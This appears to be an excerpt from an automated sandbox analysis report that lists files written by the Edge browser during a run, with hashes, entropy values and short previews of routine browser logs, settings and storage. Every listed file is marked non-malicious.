Preview:	2024/11/20-10:50:42.915 16c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-10:50:42.917 16c4 Recovering log #3.2024/11/20-10:50:42.918 16c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.163825576853021
Encrypted:	false
SSDEEP:	6:HH1Wzq2PqLTwi23oH+Tcwt8aPrqIFUt8YH1JZmw+YH1EfkwOqLTwi23oH+Tcwt8h:nUv8wZYebL3FUt8kD/+kCf5TwZYebQJ
MD5:	2402952F724D97A908E318E7F613FF04
SHA1:	65028D50A77B3E8AAFD73CFA567E0B5D92A06167
SHA-256:	20F5DEB452B298BD8D8395FD409A9F6CE779DE45B7F7F798E87B1D01D3E5F006
SHA-512:	9D6A3E66C388ACF98A9865EA1B8C45F7F567559C18C3D930C0A119872228D735C936C5AA22E14DF24E1E0ACD1A8DDCC5D3F80CEBE1BB821280B0DB611374CE26
Malicious:	false
Preview:	2024/11/20-10:50:42.915 16c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-10:50:42.917 16c4 Recovering log #3.2024/11/20-10:50:42.918 16c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.179056537450651
Encrypted:	false
SSDEEP:	6:HH1sFaq2PqLTwi23oH+Tcwt865IFUt8YH1sFTZmw+YH1sFJkwOqLTwi23oH+Tcwx:na8v8wZYeb/WFUt8kat/+kaf5TwZYebD
MD5:	910BCD060399E4D10E3DA7A8DC598A81
SHA1:	2F09E9995FF89CCA313562F3739488DE21014C39
SHA-256:	0FAC45FC1B69C7203731564EE59E23A4111EF3A3DFF691EE210999AEDB6EACDA
SHA-512:	8BEA41AF1037A0B891515FC6B8052EC7DD620C8D993AECF01581EC5F80D2BDF4010579409A94A73447195D4DF9C4AF5A76F3A82A18E34193CF8920EB8A72487B
Malicious:	false
Preview:	2024/11/20-10:50:42.998 16c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-10:50:42.998 16c4 Recovering log #3.2024/11/20-10:50:42.998 16c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.179056537450651
Encrypted:	false
SSDEEP:	6:HH1sFaq2PqLTwi23oH+Tcwt865IFUt8YH1sFTZmw+YH1sFJkwOqLTwi23oH+Tcwx:na8v8wZYeb/WFUt8kat/+kaf5TwZYebD
MD5:	910BCD060399E4D10E3DA7A8DC598A81
SHA1:	2F09E9995FF89CCA313562F3739488DE21014C39
SHA-256:	0FAC45FC1B69C7203731564EE59E23A4111EF3A3DFF691EE210999AEDB6EACDA
SHA-512:	8BEA41AF1037A0B891515FC6B8052EC7DD620C8D993AECF01581EC5F80D2BDF4010579409A94A73447195D4DF9C4AF5A76F3A82A18E34193CF8920EB8A72487B
Malicious:	false
Preview:	2024/11/20-10:50:42.998 16c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-10:50:42.998 16c4 Recovering log #3.2024/11/20-10:50:42.998 16c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.152742706295433
Encrypted:	false
SSDEEP:	6:HHvz+q2PqLTwi23oH+Tcwt8NIFUt8YHvjaSmWZmw+YHvjaSNVkwOqLTwi23oH+TG:nb+v8wZYebpFUt8kDmW/+kDNV5TwZYey
MD5:	D471A378577477BBECF3B7FDB9ED56D7
SHA1:	C5E3B2C14C37508AC0D7960FC58FA16694276AFC
SHA-256:	58A26CD28F6341C515478388E4358497C6B2FEF1FF39E8008499CCBEAEA558D3
SHA-512:	3B697A7DF7E3231B2EF4E2D6558A5966BE3F140E293E692898FF98876EF6058206EE95A5DE394056D058333BAD8193C6DA9C91E66A5873EF1FB13FE6084F14EF
Malicious:	false
Preview:	2024/11/20-10:50:43.666 fcc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-10:50:43.686 fcc Recovering log #3.2024/11/20-10:50:43.686 fcc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.152742706295433
Encrypted:	false
SSDEEP:	6:HHvz+q2PqLTwi23oH+Tcwt8NIFUt8YHvjaSmWZmw+YHvjaSNVkwOqLTwi23oH+TG:nb+v8wZYebpFUt8kDmW/+kDNV5TwZYey
MD5:	D471A378577477BBECF3B7FDB9ED56D7
SHA1:	C5E3B2C14C37508AC0D7960FC58FA16694276AFC
SHA-256:	58A26CD28F6341C515478388E4358497C6B2FEF1FF39E8008499CCBEAEA558D3
SHA-512:	3B697A7DF7E3231B2EF4E2D6558A5966BE3F140E293E692898FF98876EF6058206EE95A5DE394056D058333BAD8193C6DA9C91E66A5873EF1FB13FE6084F14EF
Malicious:	false
Preview:	2024/11/20-10:50:43.666 fcc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-10:50:43.686 fcc Recovering log #3.2024/11/20-10:50:43.686 fcc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:T359tFlljq7A/mhWJFuQ3yy7IOWUTotdweytllrE9SFcTp4AGbNCV9RUI2n:jI75fOtotd0Xi99pEYY
MD5:	CBFABAF915EAC86DAB5AB57D0DD6E8D8
SHA1:	5C8D47CE0AA9A9AE31C1E2A63FD2929DC92F166C
SHA-256:	C797D1A779198A311B4FF5BFE005479B68C092A043366A3CB732B3C8A6927DD0
SHA-512:	520353E25DEDED4ED2AF8558D3E28A3650C1BF3D9FD8CB002F31442A8D6409601FA580E71C50CD81E1BC323E5211F6D6168B6C59390B9FE908AEE62EAAF80CBB
Malicious:	false
Preview:	...................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.64774910237555
Encrypted:	false
SSDEEP:	384:aj9P0qP/Kbtfjly773pLDc7gam6IzRKToaAkQkQerJhf:adhP/yly7OajRKcYe2J9
MD5:	FB2EB0BBA9364D9463299388E0F77C8D
SHA1:	B443B0F3550BB0CB223951B06BB53C78BE1DF965
SHA-256:	2F30EB5B7A79811FFF844E7E68F7F912468D1A93385632532619D080ECD50FA9
SHA-512:	A69B9EEA58E35A981479A25A77168C2FBA28313279E9DA3EB9238D4BD264FE2E8DEC5D9A4969122E368FD40E263604F5C157141A00607253C7704847E259F713
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	5.283577711077303
Encrypted:	false
SSDEEP:	12:n48v8wZYeb8rcHEZrELFUt8k4t/+kF5TwZYeb8rcHEZrEZSJ:nL8wZYeb8nZrExg8kUXTwZYeb8nZrEZe
MD5:	101689EC10C0DE7D58275E0DB0AB6BC6
SHA1:	C0E97259717A2063324DB7B38671E35A10D36932
SHA-256:	F02366B8F219F41E9FC64519AC443BA508C1AB1958606348857152730FAD26A4
SHA-512:	BA0B0182371D58E179BE8310F5E7747938164D6E372A995E092D0255EFA1E60BD99E2A3D95B44D53BC60C04E869F986F676806502ADA8E74DCB5D61DF687988B
Malicious:	false
Preview:	2024/11/20-10:50:46.677 1e88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-10:50:46.677 1e88 Recovering log #3.2024/11/20-10:50:46.678 1e88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	5.283577711077303
Encrypted:	false
SSDEEP:	12:n48v8wZYeb8rcHEZrELFUt8k4t/+kF5TwZYeb8rcHEZrEZSJ:nL8wZYeb8nZrExg8kUXTwZYeb8nZrEZe
MD5:	101689EC10C0DE7D58275E0DB0AB6BC6
SHA1:	C0E97259717A2063324DB7B38671E35A10D36932
SHA-256:	F02366B8F219F41E9FC64519AC443BA508C1AB1958606348857152730FAD26A4
SHA-512:	BA0B0182371D58E179BE8310F5E7747938164D6E372A995E092D0255EFA1E60BD99E2A3D95B44D53BC60C04E869F986F676806502ADA8E74DCB5D61DF687988B
Malicious:	false
Preview:	2024/11/20-10:50:46.677 1e88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-10:50:46.677 1e88 Recovering log #3.2024/11/20-10:50:46.678 1e88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.684370551002403
Encrypted:	false
SSDEEP:	24:4wuZWJ+YlE67cvX8FVxe7XZGMWRV03y1x4gMyE6WeUlHfZkTN5zgFHHmi28/V:4LZO+eE6ovMUXZGbRV03Sx4TyE6nf+HH
MD5:	C3D28B18EA74DA839FD3BE522D1CEAF1
SHA1:	F0E7D79C99BFBA848F11FDA5B3C1EC72B05C0C80
SHA-256:	BAD2AC9E92FBB09CB01DDD28515BB569EBB5105177D5840995E5FE29D2012E00
SHA-512:	9B68C697BD009ABCE16B4870075AA97A0649242BB65044DF86FFCC70140FB7662B548BE31F78C4199A67B9307A8E0E1B71C949E6EE6DD268B7C9A1952A1240B1
Malicious:	false
Preview:	...>.................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732117857694.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732117859107.._https://ntp.msn.com..MUID!.0D807BBDD89D650538396E80D9B4640A.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732117857781,"schedule":[-1,-1,-1,35,-1,33,24],"scheduleFixed":[-1,-1,-1,35,-1,33,24],"simpleSchedule":[44,52,47,12,39,33,27]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732117857661.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241119.367"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Nov 20 2024 10:50:57 GMT-0500 (Eastern Standa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1400928441162055
Encrypted:	false
SSDEEP:	6:HHvtUq2PqLTwi23oH+Tcwt8a2jMGIFUt8YHvUZmw+YHv4dkwOqLTwi23oH+Tcwtw:nCv8wZYeb8EFUt8kc/+kC5TwZYeb8bJ
MD5:	E583FAC8161F4005E1483C8C19562500
SHA1:	EEE6E9E2F123D50CFECC9091326EB6A9C9CC13B4
SHA-256:	74A5DDDF3E1A3F30FF493295555782A06C62D553B94894782B4833A137296266
SHA-512:	A5C212DC19D9045491015921BDAF3D2ED70368AD3C85E63299D661F053EF5CECBFB44567073068C37D30A98425D729A59F75F9E3F75BF3672819CF25E7ECB898
Malicious:	false
Preview:	2024/11/20-10:50:43.278 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-10:50:43.280 1d60 Recovering log #3.2024/11/20-10:50:43.282 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1400928441162055
Encrypted:	false
SSDEEP:	6:HHvtUq2PqLTwi23oH+Tcwt8a2jMGIFUt8YHvUZmw+YHv4dkwOqLTwi23oH+Tcwtw:nCv8wZYeb8EFUt8kc/+kC5TwZYeb8bJ
MD5:	E583FAC8161F4005E1483C8C19562500
SHA1:	EEE6E9E2F123D50CFECC9091326EB6A9C9CC13B4
SHA-256:	74A5DDDF3E1A3F30FF493295555782A06C62D553B94894782B4833A137296266
SHA-512:	A5C212DC19D9045491015921BDAF3D2ED70368AD3C85E63299D661F053EF5CECBFB44567073068C37D30A98425D729A59F75F9E3F75BF3672819CF25E7ECB898
Malicious:	false
Preview:	2024/11/20-10:50:43.278 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-10:50:43.280 1d60 Recovering log #3.2024/11/20-10:50:43.282 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\010455de-6d6a-465e-afdd-562c4d1fcb8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1650
Entropy (8bit):	5.310801790598613
Encrypted:	false
SSDEEP:	48:YcCpfgCzsMtsdfc7leeBakEs7CgHNYhbp:F2f/G2keBakXTqhF
MD5:	5224674AD0CC738715288B9032882EEB
SHA1:	FEE6C083958E42270263233245C62D720ECA306B
SHA-256:	7137773198813197407063AE146BDBA91B0B7E4C4888774547749EB409971340
SHA-512:	823E05481014A71FC1CAED9774297E744329BAB2FDD91E3D7CE5E1F862CEEC137E7A4181FA6681B23CCA10BBD01547CF2906D452139C455D772476A5F2F3B863
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379183446773345","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379183451085397","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2f71b985-7e8c-4720-bed4-82b15c2f3e47.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3ad10340-c4e6-4af1-888b-da25cc5aafd5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3ecb084a-0f9e-4f4e-ac9a-66a98b815d7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4ec2f0a6-878c-44f1-88a1-9946fa49a5cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\78f603ea-f450-4231-88ca-6f2c64013f00.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.299581843702865
Encrypted:	false
SSDEEP:	24:YcCp/WRdsyEyZVMdmwC5mWRdsXZFRudFGRw6ma3yeesw6C1VdsyyZFGJ/I3w6ma0:YcCpWs6uCvsJfc7leeBRsfgCgkhYhbp
MD5:	4AD71DB0B888FDAC96A9AF49EBE24424
SHA1:	0ECC61E908936C3A6021D885A59AD98E305A97A4
SHA-256:	B01FE00714F7B89C8487088BF97EE6288C18D8F1C413F1CBE74EDF41405D8DA0
SHA-512:	478B594C73534F4DCB023ABA2B28100BA6FF29774ABECE70EAE68CBA457A60F28E53BDC6FB448EE168E34F58BF719F79C664906BD1873F1E3F8DF9CD39636872
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561982935006","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561983636053","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7710199928833648
Encrypted:	false
SSDEEP:	192:tTmo/Bp+VU5mW1YtP++ZJKdGMNQXcf0L/ZJVb:VmaWVU5r1YtPgdN+XI0LhJVb
MD5:	1C244E9D0C3481AC9EC9E497023D5C05
SHA1:	34C142A55AB0948A6DAA8938C4BD15D86DB32005
SHA-256:	92120D6A0E9B2B796C6147147B6ECD950A35EB2577D4EB52FF64C0524F53F311
